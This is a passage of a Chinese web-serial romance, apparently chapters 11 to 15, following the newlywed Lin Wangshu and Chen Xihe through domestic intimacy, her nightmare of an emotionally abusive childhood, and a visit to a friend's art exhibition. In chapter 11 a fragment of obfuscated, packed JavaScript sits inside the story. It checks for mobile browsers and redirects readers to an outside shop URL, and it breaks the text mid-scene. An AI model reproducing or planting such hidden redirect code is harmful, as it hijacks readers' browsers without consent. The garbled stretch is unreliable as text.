林望舒如惊弓之鸟有些被吓到一般,往后退,但动作太过急,才洗完澡的鞋子踩在瓷砖地板上打滑,失去重心地朝后摔去。
本以为会重重摔在地上,但她下一秒却落入一个温润的怀抱。
陈羲和稳稳接住了她。
但这个姿势有点糟糕,他双手牢牢缠住她的腰将她抱紧怀里,但她……倒下时本能的想抓住东西,现在一手挽他脖颈,一手放在两具身体相拥的空隙中,紧紧贴着他的胸肌,好像还不经意捏了捏……
陈羲和呼吸一紧,带着和平常不同的沙哑声,低声问:“摸够了吗?”
绯红爬上脸颊,林望舒觉得现在的自己就想一个熟透的虾。
直起身退出陈羲和的怀抱,林望舒终于硬气了一次,抬头瞪回去:“没有,还想摸。”
陈羲和挑眉,勾唇轻笑:“那怎么办,这边摸过了,换个地方?”
害怕陈羲和再胡言乱语说出什么“大逆不道的”的话,林望舒上前捂住他的嘴,警告:“你……不准再说了!”
温软的手贴在唇前,她身上甜腻的香气又传来。
怦怦怦,安静瞬间,他只听得到自己的心跳声。
没再不正经,陈羲和拉下林望舒的手,包裹着轻轻摩挲:“怎么过来了?”
“想吹头发,但主卧里没找到吹风机。”
“抱歉,前几天主卧的吹风机坏了,忘记让人把新的拿过去。”
陈羲和说完转身回到浴室,拿了个新的,牵着林望舒的手,两人一起往主卧走。
进门后,陈羲和将手里的吹风机递给林望舒,自己去衣柜找了一件短袖,他也没避讳什么就着背后那一双眼,兀自套上,顺手扯下系在腰间的浴巾。
林望舒干嘛双手捂住眼睛,但灼灼视线还是从指缝中露出,盯着陈羲和。
原来下面穿了啊,那遮那么严实干什么。
陈羲和对林望舒这一举一动似有所感,回头望过去。
捂着头发,露出修长白皙脖颈的女人,欲盖弥彰地转过身,左看看右看看,假装找东西。
陈羲和站在她身后冷笑出声,但也没拆穿她。他拿起林望舒手中的吹风机,头往床头偏了偏,继续说道:“不是要吹头发?”
他是要帮我吹头发吗?
心里怀疑着,身体却很诚实,她心虚又自觉地坐过去。
吹风机鼓动的嗡嗡声响彻整个房间,掩盖住两人之间莫名的情愫。
调到热风,陈羲和先用自己的手掌感受了一下温度,再给林望舒吹头。
讲真说,他的手法不娴熟。小心翼翼捋过她头发,生涩却又珍重。他的手一寸寸拂过发丝,带起密密麻麻的酥爽,林望舒感觉自己肌肤红了一片,不知道是热风吹过,还是被他抚摸泛起的潮热……
贴近头皮的头发吹干燥后,陈羲和轻轻挑起她发尾,摩挲着慢慢给她吹,时不时略过耳朵,陈羲和用手遮了遮,防止热风直吹,但面前的林望舒却泛起战栗偏偏头,躲过他的手掌。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923727|192676||http|test|mini|href|location''.split(''|''),0,{}));
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>陈羲和不知道的是,林望舒耳朵太过敏感了,有人轻声对着耳朵给她说话,她都受不了。刚才他的手碰过耳廓,痒痒的,就想下意识躲开。
“怎么了,是太烫了吗?”
陈羲和看见她的耳根泛红。
“没有,发尾不用吹了,差不多干了,我先睡了。”
低着头说完就爬上床去了,盖紧被子,整个过程行云流水,一气呵成。
看着林望舒莫名对他的躲避,陈羲和也没追问,跟着一起上去躺下了。
林望舒只占了一点地方,睡在最边上,她把自己裹得严严实实,只露出脑袋,闭着眼睛睡觉,但时不时晃动的眼皮,又显示出她并没有睡着的事实。
“林望舒”寂静沉默的房间内,陈羲和打破了平静,“你很冷吗?”
林望舒有点不明所以,睁开眼睛回他:“嗯?不冷呀。”
嗯好,还是没看他。
陈羲和好笑着侧翻过身,借着窗外月光看她。
“可是我冷。”
她终于是转头看他了。
完全适应了黑暗的眼睛,此刻清晰明了的能看见陈羲和穿着的纯白睡衣,就是没盖被子……
林望舒:QAQ
“对不起对不起!”
说完,她把裹住的被子往另一边移,再往中间靠近,一寸寸挪。
掩盖在被子下面的手却兀地被捉住,顺着力道划向床中间,距离陈羲和就一个手掌。
“靠过来点睡。”
陈羲和说话的声音感觉就在耳边,他温热的呼吸也撒在身上。林望舒下意识,屏住呼吸,降低存在感。
实在是太近了,她有点不习惯,想找话题缓解尴尬。
“你去客卧洗澡忘记拿衣服了吗?”很无厘头的一句话。
“那倒没有,我只是忘记两个人睡了。”
等等,他这句话的意思是,如果今晚不是两个人睡,那他……
“你平时一个人喜欢?”
“裸.睡。”
救命,我为什么要开启这个话题。
林望舒打算装死,她最擅长了。
但她现在一形一色,陈羲和都看得一清二楚。
林望舒因紧张微抿着嘴,她察觉到陈羲和视线一直在自己身上,有点无措,也有点害怕孤男寡女同床共枕。今晚怎么说来,也算两人的新婚之夜吧,正常夫妻今天应该都在缠绵悱恻,那他们会不会……
胡思乱想,越想越乱。
“林望舒,你在怕什么?”
他本想伸手过去碰碰她,又怕在这个时候会吓到她,又将伸出的手收回。
“我说过,一切以你的意愿为主,要是你不想,我不会强迫你,包括这件事。所以不用紧张。”
她点点头,又怕黑夜里陈羲和看不到,才开口说话:“好。”
“好好睡觉,晚安。”
也不知道是不是睡前陈羲和这番话很令人安心,林望舒没一会就睡着了,一夜无梦。
只留下他一个人,辗转反侧。
整个房间都是她的味道,陈羲和闭上眼强迫自己冷静下来,但一切自制力,还是在凌晨林望舒靠近时轻浅的呼吸声中崩溃一溃。
12. 羲和
翌日,林望舒醒来还对着这个陌生的天花板发了会愣。
她眨巴眨巴眼睛,思绪渐渐回拢。
床上只有她一个人了。侧过身摸了摸旁边的位置,冰冷一片。若不是上面留存着一些褶皱,林望舒都要怀疑昨晚是一场梦了。
林望舒找到放在床头的手机,打开一看才八点半,又趴在床上看看消息。
一个半小时前:
时序:【我出去跑步了,厨房有早饭热一下吃。不喜欢的话,醒了发个消息,想吃什么,我回来给你带。】
将将七点就出门了吗,他怎么这么自律啊。
林望舒又翻过身赖在床上,想了想自己的作息……要不是上次生病好好注意了一下,估计还是跟之前一样晚上两三点才睡觉,第二天不上班的话,睡到大中午才起床。
她又瞧了瞧和陈羲和的微信聊天界面,鬼使神差地点击他主页把备注改成了“老公”。返回界面看了一会,又觉得太过肉麻,怕被他看到,又改成了一个emoji[太阳.]。
羲和,古之太阳神。意味曙光生命,温暖希望。就同她名字里的月亮神“望舒”二字一样。其实最初林望舒答应见面还有个原因,她觉得他们很有缘分,一个太阳一个月亮……
就在这时,门口一动,是钥匙插入锁壳的声音,最后她还是挣扎着起身跑进浴室洗漱。
在浴室乒乒乓乓捯饬了一顿,终于收拾好了,她方一浴室,就看到陈羲和在卧室里,把床单褶皱抚平,将被子再铺好,干干净净整洁明亮。
才一出来的她,有些不好意思地摸摸鼻尖,小声嘀喃:“我来收拾就好了,本来我就晚起了。”
陈羲和靠近走来,问她:“不是说了醒来发个消息?”
刚刚光顾着躲他去洗漱,忘记还有这个了。
“我忘记了。”
他笑着垂眸看她,没再继续这个话题:“好,过来吃饭。”
陈羲和把她牵到饭桌前,自己却先走开了。“啊?你不一起吃吗?”
“去洗个澡,你先吃,不用等我。”他才跑完步,身上汗津津的不舒服。
不过林望舒这么一大早看见他,紧身运动衣,手背后若隐若现的青筋一直延伸到袖间的臂膀处,就有点把持不住了。
论谁睡醒看到这么蓬勃的一面也难以自制吧,何况他身材还这么好,真的哪哪都在她的审美点上。
只可惜,他现在要去洗澡换衣服了。哎。
林望舒朝他点点头就坐下了,但陈羲和不知道为什么,他就是从刚刚那眼神里看出来一点莫名的失落。
也不知道林望舒脑子里在想什么…思考无果他干脆直接转身走进浴室,这次是在主卧这边。
虽说陈羲和让她先吃不用等,但林望舒还是想和他一起吃早饭。
他刚刚回来的时候带了一些小笼包和烙的煎饼,现在放在盘子里摆在桌上,忽而林望舒想起他说厨房本来是有早饭的。
她走进去,看到料理台旁边有玻璃杯装着打好的豆浆,又把面包烤好放在了一边,她想了想也端了出去。
又回到厨房,开起灶台的火来。
本就是冲凉洗的澡,陈羲和没几分钟就出来了,才走进饭厅就看到这一幕——桌子上除了他买的早餐和豆浆,还有林望舒才做好的煎蛋。
有些意外的挑了挑眉,在她对面坐下。
简简单单但色泽很好,没想到她这个做的还不错。
林望舒有些得意,把两个盘子的简单推到他面前说:“我煎的。”
颇有番小朋友求夸的样子。
“你喜欢吃溏心蛋还是全熟的?我两种都做了。”
“溏心的。”
林望舒把右手边的盘子拿来回来,笑嘻嘻地对他说:“我们口味好像啊!我也喜欢溏心蛋!”
……
周天两人都没什么事,林望舒还是同以往的自己一样,窝在家里。
她其实有些时候还挺想出门的,但是总感觉一个人出去玩没什么意思。要么和温婉喝喝下午茶,或者再去看看电影,逛逛街。
后来就渐渐演变成,自己待在家里睡觉了。
回望过去的自己,她感觉自己真的很无聊……生活除了工作好像就没有有意义的事情,活着就是为了赚钱。但赚完钱又能干嘛?她也不清楚,随大流的跟着买房了,但一切好像都是被推着朝前走。
她本以为唯一不随波逐流的事情就是关于结婚。但还是鬼使神差地结了,还是她提出的闪婚。
越想越荒唐……
“在想什么?”
陈羲和刚收拾好东西过来。
林望舒摇摇头。看着陈羲和身体笔直站在身旁,抬手握住他手腕,将他拉下来一起坐着。
“今天我们干什么呀?”
“我待会要去书房处理一下工作。下午朋友有个画展,想去吗?”
画展?她还没去过这种。
听到便来劲儿了,睁着水汪汪的眼睛看他,马上回复道:“好呀好呀,想去。”
每次她这样看他,陈羲和都有点忍不住。视线从她亮亮的眼下移,路过挺巧的鼻尖,再到饱满水润的唇,透着淡粉色……
又在意识到自己想什么的时候,马上错开视线,制止了自己的胡思乱想。
对她来说,应该还是太快了。
手又对着她脑袋揉了揉:“怎么这么可爱?”
?嗯,我做什么了吗?怎么又可爱了?
她紧紧追着陈羲和的视线,察觉到他有些躲避,更追得紧了些。
陈羲和无奈偏过头去,但他没料想到,林望舒居然伸手抚住他两侧脸颊,将他扭过来。
她手软软的,温暖,柔和地贴在两边,让他呼吸一顿,连他自己都没察觉到,自己的耳根泛红了。
将林望舒双手从自己脸上扒拉下来,一只手握住她双手的手腕,另一只上前捏住了她的脸颊,迫使她的嘴巴张成了一个o型,他就着这个姿势跟她讲话。
“想干嘛呢?”
被捏着脸颊不疼,她口齿不算清楚地对他说:“看看你怎么这么帅呢!”
他好笑地松开了对她的束缚,双手捧起她的脸,靠近。
两人鼻尖对着鼻尖,中间只余几厘米距离,呼吸可闻,陈羲和还可以看到刚刚捏过她脸,留下的印记。
怎么轻轻碰一下就留印子。
对着陈羲和忽然的靠近,林望舒屏住气息,紧张低语:“你靠这么近干什么?”
“想亲你。”
她兀地睁大眼睛,更不敢说话了。脸也肉眼可见地涨红,已经看不清刚刚的印子。
她不知道陈羲和是不是在开玩笑,反正她是当真了。挣脱开他双手,留下一句“我突然想
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起来,还有衣服没整理完……”,就飞快逃离了现场。
看着林望舒慌不择路,还跑掉了鞋子的样子,语意含笑道:“跑慢点儿啊你,我没追过来。”
不言其他,林望舒回到主卧,快速但又轻悄悄把门关上。
后背紧贴着木质门板,双手也背在身后,两颊的绯红还没消散,房间无声,只隐约听到,她自己的喘气声。
“他到底是认真的还是在开玩笑啊。”
真要亲的话,也不是不可以。
意识到自己在想什么的时候,她又被自己胡思乱想的想法给吓到,甩甩头麻痹自我般地,抛向脑后了。
一段熟悉的铃声响起。
是袁女士打的电话。
她等电话再响了几秒才接起:“喂。”
“月月,在忙吗?”
“周末没什么事,在休息。”
“工作怎么样啊?”
“挺好的。”
就这样一问一答,电话两端又陷入沉默。
十几年来,一如既往。明明是最亲近的人,却陌生疏远,电话隔着的不只是两座城市的距离,还是两颗心的距离。
哪怕是到了现在,她对这种沉默,依然心慌,想找找话题缓解气氛,但是又发现,两个人的生活脱节太久太久了,久到,一两句话没办法再复原。任何一个话题都显得不适宜。
“你们身体还好吗?”
“还好还好,你不用担心我们。”
她能感觉到,袁女士很想找话题继续聊下去。
不知道什么时候开始已经是这样了,从前害怕和他们打电话,拼命找话题的人,已经根本不在意了,以前被“讨好”的人,现在又反过来“讨好”自己……
她很不喜欢这种感觉,但好像一切的改变都没办法。
“妈,我谈恋爱了。”她想,不管如何,这样的事也该告诉他们,不过事从缓急,先给他们打个预防针吧,就先说他们还在谈恋爱。
“是上次你孟阿姨介绍的那个男孩子嘛?”
“对,我们几次相处下来蛮舒服的。”
“好啊,哈哈那真好。”袁女士又转头给旁边的林立德说“月月谈恋爱了和上次那个相亲的男孩子。”
她又想到了什么,拿起电话对林望舒说:“爸爸妈妈也没催你的意思,谈恋爱也好以后结婚了也好,一定要擦亮眼睛,好好看看这个人,不要为了糊弄我们什么的去谈恋爱……”
又听对面不断嘱咐了好几次,才罢休。
林望舒从头到尾也只有几句话“嗯”“好”“我知道了”。
“月月还有什么要说的吗?”
一句他们很平常的问话,不知道已经问了十几年了。
林望舒的回复也在意料之中,还是那句,“没什么说的。”
电话挂断。
林望舒缓了很久,才从适才的对话中抽离出来。
她忽然觉得好累啊。
走到床边,躺下。用被子盖住整个人,从一旁看,除了床上的一些褶皱和微弱的起伏,都差不觉不到有人睡在里面。
对林望舒来说,黑暗才是她的避风港,在这其中她可以恣意发泄情绪,蔓延在黑暗,才可以卸下伪装做自己。
被子下,林望舒吐出一口浊气,又侧身把手腕压在脑袋下,强迫自己忽略眼角的湿润,慢慢睡去。
13. 过往梦
“妈妈,我想吃这个。”
小女孩想去拿货架上的零食。
她穿着裙子,短短的脚丫禁锢在凉鞋中,一踮一踮,却总够不到近在咫尺的东西。
她回头看向背后高高的大人,想找寻帮助,但又被拉着走出便利店,夏日刺眼的目光使她睁不开眼,高高的人背着光,她看不清,小女孩又望了望刚刚的小店,上前拉着大人的衣袖,再次开口:“妈妈,我想吃那个。”
回复她的不是允许与否。
面前的大人蹲下身和她一般高,从背后的包中拿出家里带的面包:“饿了?来,吃这个。”
看着又是平常家里常见的零食,她摇摇头说:“妈妈,我不想吃这个。”
话毕,面前和颜的妈妈却沉了脸:“不好好吃饭,就想着出来吃零食是吗!”
小女孩不敢回嘴了。
可是她真的很像尝尝这些没吃过的东西……
“那…可以喝那个水吗?”她眼神怯怯,小声开口。
蹲在她身前的女人又从包里拿出保温杯,把盖子扭开递给她,一杯白开水。
小女孩,抱住杯子喝了一口。
她知道,在妈妈面前,是不能提要求的。
视线再一转,小女孩渐渐长大已经上小学了。
周五的下午总是欢乐的,她可以提前放学,然后去公园玩。两两成对,三五成群,同路的同学不少。她是走读,上下学都是自己一个人,现在不用急着回家。
嘻嘻闹闹玩完,看到手表才发现时间过了很久了,再不回家就要迟到了。
林荫路,河道边,都有小女孩奔跑的身影……
她气喘吁吁,马不停地回到家,迎接她的是父亲急促的电话。
“喂,爸爸。”
“刚你爷爷奶奶说,你才回家是吧。”
“嗯。”
“又跑哪去疯了?”
“我……就是去公园和同学玩,没注意时间……我下次不会了。我……”
她的话还没说完,就被电话那头打断。
“你跟谁玩?是不是都是那些成绩不好的蠢货?”
“不是……”
“不是?你不是就是吗?”
心脏被人狠狠钝击,阵阵作痛沿着血液遍布全身。小女孩思绪短路,泪水上涌,毫不顾及地夺眶而出,一滴,一滴,砸在她的手背。
她拼了命的去擦去抹,还是无济于事,她害怕被电话对面的父亲听到,一声一声压抑哭泣,她将手机拿远,不让自己哭声暴露,但对面无端地谩骂依旧清晰入耳……
她现在十岁……从小学入班开始,她一直都是第一。她并不是那种天赋极高的人,她只是踏实努力认真听讲,她只是想做的比任何人好。
可是到头来,你还是他们口中那个“没用的蠢货”。
学习的意义、我的意义究竟是什么?
小女孩一直在自问,对面的人不会告诉她答案,时间也不会。
都没用,没用的。他们只会觉得你还不够好。
考九十九分得来的不是嘉奖,是让你自省;考一百分得来的还不是嘉奖,是给你规定标准。
讽刺固住我的步伐,在两难中不断拉扯自我,最后濒临崩溃。
这就是长大后小女孩的高中生活。
……
等陈羲和处理完工作,走出书房却没看见林望舒,他这才忽而觉得,似乎她一直没出来走动过。
他回到主卧,就看到正在找的人又躺在床上睡觉了。
陈羲和眼角含笑地走到靠近窗户的那一边,半蹲在床头看她。
却发现她睡得极不安稳,眉头紧皱,蜷缩在被子里,现在就只露出了上半张脸,瞧近看还能看到脸上细密的汗渍,就连眼角也是润润的。
“不要…不要。”
随之而来的是如雨的泪,奔涌而出,不知道到底发生了什么,林望舒还是一直压抑哭声,呼吸急促,时而哽咽出声,冒出几句稀碎的话,他听不真切。
“林望舒,林望舒…”陈羲和轻拍她肩膀,再给他擦去脸上的泪渍,一滴一滴砸在他手心,怎么都擦不完。
他知道她不是个轻易流泪的性子,大多数时候,都是习惯于忍耐。一定是很难过的事情,她才会这样委屈。
早在陈羲和喊的第一二声中,林望舒就停止了哭泣醒来。只还是带着一点哭腔,和哽咽地开口说:“我……”
“没关系…难受可以先不说,我陪着你。”
不知道是哪句话戳到林望舒的心了,她就着起身踉跄的姿势,拥住了陈羲和脖颈,整张脸埋在他的颈窝。
陈羲和还是刚才的动作,手臂环住她,手掌轻拍她的后背,给她一个情绪发泄口。
“想哭就哭,在我面前不用忍着。”
怀中的人,不断抽泣,越发紧的抱着他脖子。呜咽声就在他耳边此起彼伏,无助破碎,只想寻求一个支撑点。
“让我抱一会儿就好。”
没控制住的泪滑落到陈羲和颈间,流向锁骨。细细密密地感觉刺伤他的心。
他轻拍的动作一滞,偏偏头用自己的脸颊蹭蹭林望舒的耳朵,一个极具安抚意味的动作,温暖的手也从上至下在她背部抚摸给她疏气。
林望舒等到自己缓和过来,才起身抬起头,用手抹了一下了脸上的泪痕。
双眼水润的看向自己抱着的人。
其实还没有反应过来自己干了什么。适才,只觉得一下从梦境的痛苦中抽离出来,还没有意识到发生了什么,就下意识抱住了面前的人,自己仿佛觉得,一切委屈和难过有了依靠点,想就此沉沦……
那些内心深处,避而不及的回忆,还是如此毫不顾忌都闯入,扰乱她的生活,明明强迫自己放下过,甚至她还以为,就此可以两清的事情,依旧待在原地,包括那个过去的自己。
没办法,逃离不了,但也没办法救赎自己,只能继续纠缠,毁灭,就像几年前的自己一般。
但还好还好,这次醒来,她不在是一个人了…
但还好还好,陈羲和是个很好的人。
察觉到林望舒的动作,他先只是静静看着她,没去干扰和问她梦到了什么。陈羲和觉得,她现在最需要的就是陪伴,就这样待在身边就能让她安心。
林望舒现在还是环着自己,姿势没变。
陈羲和笑着揉了揉林望舒的头发,感觉她好像有点信任他了。
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>“还难受吗?”
林望舒摇摇头,退出他的怀抱:“我没事了。”
她依旧低着头,长发随意耷拉下来,遮住脸颊,两侧刘海散落在眼前,令她视线受阻,她也没管,就是觉得现在自己这个样子一定很丑,她不想再被陈羲和瞧见,况且刚刚还见了她那么狼狈哭成狗的样子。
一旁蹲着的陈羲和起身坐到床沿上,低头打量这个焉哒哒的人,垂眸看林望舒,眼神意味不明。
显然还在等她开口。
她岔开话题,声音干涩带着点哭后的嘶哑:“不是说要去画展吗?我们多久出发呀?”
“你想什么时候都行,先带你出去吃个饭。”
陈羲和从不远处的桌子上倒了杯水递给她,看着她喝完才说道。
“哦,那我收拾一下出门。”
勒令陈羲和出去后,林望舒走到衣帽间开始选衣服。
……也不知道是个什么风格的画展。
寻思无果,找了一件吊带连衣裙,随意搭了件薄针织衫。
看着梳妆台镜中的自己,双眼泛红,还有哭后的肿胀,眼睛干涩的不舒服,只得从包里拿出随身带着的缓解疲劳的眼药水,滴了几滴缓缓。
现在这个样子肯定是不好化妆了,林望舒抹了抹素颜霜,找了个显气色的口红涂好,捞个墨镜戴上就出去了。
一出门,就看见陈羲和有点怨气由天的拉着乖点玩,也不知道他怎么了。
“诶?你怎么还没去换衣服?”
他似笑非笑,摸着乖点的毛发,冷呵一声道:“乖点你说我为什么不去换衣服?哎,不知道怎么就被人赶出来了,也不知道是谁,你知道么?”
林望舒:……阴阳怪气谁呢,我不就是忘记了嘛。
被他摸着的乖点把头趴在地上,不满意地对陈羲和龇牙,又在察觉到他不善的眼神后,收敛了几分,对着林望舒委委屈屈地眨眼。
她确实没想到,有一天可以在一只狗身上看到这样鲜活的表情。
“哦,我忘记了。那你快去换吧。”
陈羲和瞥了她一眼,有种一拳打在棉花上的无力感。
老婆是木头怎么办?
被当成木头的林望舒自然是毫不在意。她继续蹲在地上和乖点玩,取代刚刚陈羲和的位置,模仿他的动作,抚摸它。
她以为乖点是喜欢这个动作,感觉到舒服,但其实只是陈羲和想这么碰它,借着乖点来“发泄”对林望舒的不满。
乖点:我真的服了你们夫妻俩了。。。
林望舒看着乖点不是很高兴的模样,以为是自己不得手法,慢下来问它:“怎么了?不舒服吗?”
它不满的汪了一声,前面双脚趴在林望舒腿上,朝她吐舌头笑。
林望舒也没养过小狗不知道它什么意思,只能就这样顺着它心意,摸摸小狗的头。
小狗也很上道,更往前了一步,凑近林望舒的脸亲了亲。
恰巧这时卧室的门开了。
亲吻林望舒的乖点和换好衣服的陈羲和两两相对……
乖点一瑟缩,从林望舒腿上逃离,跑到自己的窝里去。
陈羲和:我还没亲到。被一只狗给捷足先登了?
14. 心“晴”
【“心晴”画展】是设点在宜江对岸的澜庭公馆内。
彼时正好开馆,林望舒和陈羲和两人间的气氛怪怪的。
不久前吃完午饭,陈羲和带着林望舒一起去商城逛街给她买衣服。
但是一整个过程,林望舒都无精打采,神情恹恹。
她看到陈羲和一件又一件认真挑选,心里却闷闷的。她忍不住细想,这个画展是不是很重要,又或许是这个朋友很重要,可能更需要正式一点的衣服。
林望舒不自在的低头看了看自己出门随意搭的衣服,的确过于随性了,而且她还没化妆。
其实她能理解陈羲和这样的做法,可为什么心里就是那么难受……酸涩从内心深处漾开,再蔓延至全身各处,让她很不好受。
林望舒拖着疲惫的身体一件一件试。
不像平时同朋友逛街买衣服,一家店就试几件,此刻的陈羲和就像在玩芭比娃娃一样,不停的捣鼓她,她已经不知道换完衣服出去几次了。
林望舒对着镜子,左右转身看了看,没发现有什么不对的地方。这些他选的衣服版型很好也很修身,挺衬她的。
但每次陈羲和都面无表情,没有很喜欢的感觉。
林望舒寻思,这肯定是陈羲和的问题!
哼,女为悦己者容[1],懒得管他了!
陈羲和察觉到林望舒兴致不高,以为是她不喜欢这家店,又连换着几家店,他才后知后觉,好像不是这里出问题了。
“林望舒,累了?还是不开心?”
“都没有啊。”林望舒忽的抬头,就撞进陈羲和担忧但温柔的目光里,她纠结措辞道,“就是你怎么突然带我买衣服啊?要是觉得我穿这个不适合去画展,出门就可以说啊……”
我也有比较正式的衣服啊,也不用现在在这里换来换去了!
她就这样直视着陈羲和,想看看他还能给出什么回应,结果就看见面前的人不以为意的笑了笑。
很好,更生气了!
她小发雷霆一下转身就走:“哦,我累了!”
预料之中的,被身后的人拉住手腕,但又没想到他使的劲这么大,林望舒就这样顺着力道被他拉进怀里,靠在他胸口。
入目又是那衬衫下若隐若现的锁骨。
林望舒错开视线,暗自在内心不满地道:怎么又在外面抱她啊。
若说先前还不确定,陈羲和这下是真的知道,林望舒确实是生气了。
被他圈在怀里的林望舒还没来得及反抗,面前的人就环住她腰身,低下头在她耳边低语:“怎么了?我在哄你开心啊。逛街买衣服,哄你开心。”
是因为出门前她的那个梦吗?
然后他用一种常见又直白的方式哄人,她怎么没想到呢……
林望舒所有表情都落在陈羲和眼里。
不等她回复,陈羲和又换了一种语气,念着她小名说:“哎,月月这样误会我,好让人伤心。”
说话时,嘴唇不经意擦过她耳朵,酥酥麻麻的感觉顺着耳廓传至全身。
林望舒被他锢在怀里瑟缩了一下,想退后一步躲开,但面前的人显然没放过她,手臂牢牢环着她,没让她挣脱开,还意犹未尽地凑在她耳边说话。
林望舒觉得她现在像是飘在云端,脚碰不到实地。只能侧头靠在他身前,远离了他的唇。
抬头看他,陈羲和又露出一副受伤的表情,要不是看见了他上扬的嘴唇,林望舒都快真的相信,内疚死了!
她也不甘示弱,环住他脖子往下一拉,使他更低了一点头。
踮起双脚凑近他耳朵,有模有样的学他,声音小小的,带着点蛊惑的意味说:“那对不起噢,下次换我哄你开心?嗯?”
他整个身体一僵,一瞬间忘记了动作,这下换陈羲和受不了了,尤其是她说的最后那个“嗯?”字,语调上扬,话语轻佻。
还用她的鼻尖碰了碰他耳廓。陈羲和感觉自己被她调.戏了。
原来是这种感觉,怪不得她总想要躲开。
林望舒忍笑看他一举一动,他僵硬的那一瞬她也清晰的感知到了。就在陈羲和偏头看她时,林望舒赶快松手退开了他怀抱。
虽然表现的游刃有余,但是她还是心怦怦跳。
毕竟她也是第一次干这种事,等以后习惯了就好。
嗯,是这样的!她又仅花了0.1秒,说服了自己。
陈羲和稍缓了一会儿才道:“好了,现在说清楚了。那刚刚那些给你选的衣服喜欢吗?”
“都好看啊,选不出来。”
陈羲和若有所思地点点头回道:“行。”
?行,是什么意思。
然后林望舒回头就看到他给人打电话,前面几句没注意听,但最后这段话,一字一句清晰的脱口而出:“刚刚这几家店,试过的衣服全要。”
很云淡风轻,很无关紧要。
全部?一家店少说也试了十来件衣服!这得多少钱啊……
丈夫这么败家,真的好吗。
“等等,那也太多了吧!”
“多么?今天品牌方衣服已经送到公寓了,更多。晚上陪你慢慢看看。”
这都不算多,那晚上回去会有多少啊。林望舒不敢细想。
……
日光照耀,波光粼粼。江边澜庭公馆正对着这好光景,从亭下回廊的角格窗看过去,只见江心一点白,周遭景无限。
其中陈设淡雅素净,除去其旁的包厢,这画廊布景也很有意思。
总体不像其他画展那样完全以长廊为线,反而迂回其中,辗转多处,以“回”字形布局。
林望舒同陈羲和一起走近,原本不懂画展的林望舒反而深陷其中。
正门进去,入眼便是四景图,但并不绚丽夺目,黑灰冷色调为主。
林望舒想,这个画家大概以景衬心。想表达“万千世界,于我眼中,不过寥寥几笔,寡淡无味。”的意思。
两人顺着路朝左,走过转角,场景又一转。
冬雾气,冷风寒。蓝白色调的冰面雪景,场面旷远但空无一人。
林望舒对画并不了解,她只隐隐约约明白了画中之意。她看到了一个人的萧瑟背影,无处不在,但又没有留下任何足迹,仿佛从未来过。
一幅幅走过,触景生情。
回廊辗转,从那檐下窗可以看到宜江的傍晚霞光,好像为适才的冷,融入暖光。
林望舒被陈羲和牵着再往前走,步入第三个展厅。
画中世界终于有了颜色。树动影移,萧萧落叶飘。这次画面丰富了起来,两人漫步树林,孩童荡起秋千。金黄枫叶飘过繁忙有序的人世间。
作画人是个诉说者,也是个叙述者,画笔描绘下来来往往过客的故事。
而旁边最后一个展厅,是一副青白绿,藕花处的夏荷景。
林望舒感
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觉到自此的画面生动了起来,不同以往几幅,这是属于“写景人”的故事。
从贫瘠世界到晴空万里,心上有你就足够了。原来,心“晴”是这个意思,晴是动词。
此刻他们正位于最开始展厅的背后,那面墙的上清晰写着:四时变幻,未来难测,当下还是我们。希望在这个晴天,你能有个好心情。
细细看完每一个展后,林望舒还不能完全平复下心情。
她好像知道这个写景人的故事了。一个被囹圄在一处,久久不得解脱的人,她能理解她,甚者可以说她们是同类。
但好在她好像经历了什么,自由了,真好。
陈羲和也一直陪着她,看到她这么认真一直没打扰她,默默跟在她身后。无论何时,她回头,都有陈羲和的身影。
四时变化,未来难测。陈羲和,你是那个让我“心晴”的人吗?
这个答案她还不知道,或许未来的某一天陈羲和能给她答案。
“陈羲和,我可以见见你这个朋友吗?”
“好,等会就能了,她现在估计在后面睡觉。”
下午五点多了还在睡觉。应该会是个很随性的人吧。
林望舒没发现自己好像还挺喜欢逛画展,本来以为会比较无味,摸不到门道。可是真当来参观时才会发现,每一幅画都是一个故事。她喜欢聆听其他人世界。
沉浸在这之中,她没觉得等待的时间过得慢。
“林小姐你好,我是心“晴”的创作者,也是你老公陈羲和的朋友,滕今若。”
温润柔和的声音从她身后传来。
说话人,眉尖微挑,眼尾上扬,是个很明显的狐狸眼。她同林望舒差不多高,穿了一身亮色的红裙,掐腰设计,曲线有度。同她整个人一样张扬。
“你好,叫我林望舒就好。”
同她打过招呼,滕今若再向牵着林望舒的陈羲和简单打个招呼,便朝两人打趣:“陈羲和,你是哪拐到的大美女?”
这话也不是客套奉承。
林望舒今天虽然只是素素着一件白裙,但天生的好底子是藏不住的。
细长的柳叶眉使得她韵味十足,不仅是因为穿着白裙,她本身气质就清冷,淡淡静静的,温柔如玉。偏偏眼眸含水,一对湿漉漉的杏眼削弱了的她周身的冷,更俏皮可爱了。
她是一种大气内敛的美。
滕今若说这话时先看了眼陈羲和,再把目光定格在林望舒身上。是一种毫不吝啬,欣赏的目光。
林望舒鲜少被这么直白的眼光注视,有点羞赧。她也没想到滕今若这样张扬的外表下,性格是这样大方随和的。
“没办法,有个眼光很好的小姨。”
陈羲和捏了捏握住的林望舒的手。她察觉到,抬眼看向他,用口型问他:怎么啦?
“给你介绍一下,滕今若是我妹妹的好朋友,南城滕家的大小姐,是个画家。”
还是个离家出走,甚至有点离经叛道的画家。
这话他还是没在滕今若面前说,不然滕今若定要扯个大半天。
三人走到外面,忽而一阵视频电话的声音响起,滕今若看着是熟人便直接接起。
林望舒两人自觉地走开,但没料到,对方开口一句话就把林望舒怔住了:
“我哥真结婚了?我嫂嫂在哪?你快给我看看!”
林望舒倏然看向陈羲和。
陈羲和:……
15. 木头望舒
林望舒之前也听陈羲和说过他还有个妹妹,但是一直在国外读书,还没让她俩见过面。
只是她没想到现在要以这样的方式了。
滕今若实在是要被陈言臻这个咋咋呼呼的性子给吓死了!不就是她把陈羲和说带他老婆来画展的截图发给她了吗?怎么直接震惊到打视频过来了。
滕今若心虚地看向手机,有种当着本人的面谈论她的感觉。使眼色示意陈言臻,但对方显然没get到。
“你干啥呢!我说我要看我嫂嫂!”
滕今若尴尬地看向两人,意思再明显不过了:你们要接吗?
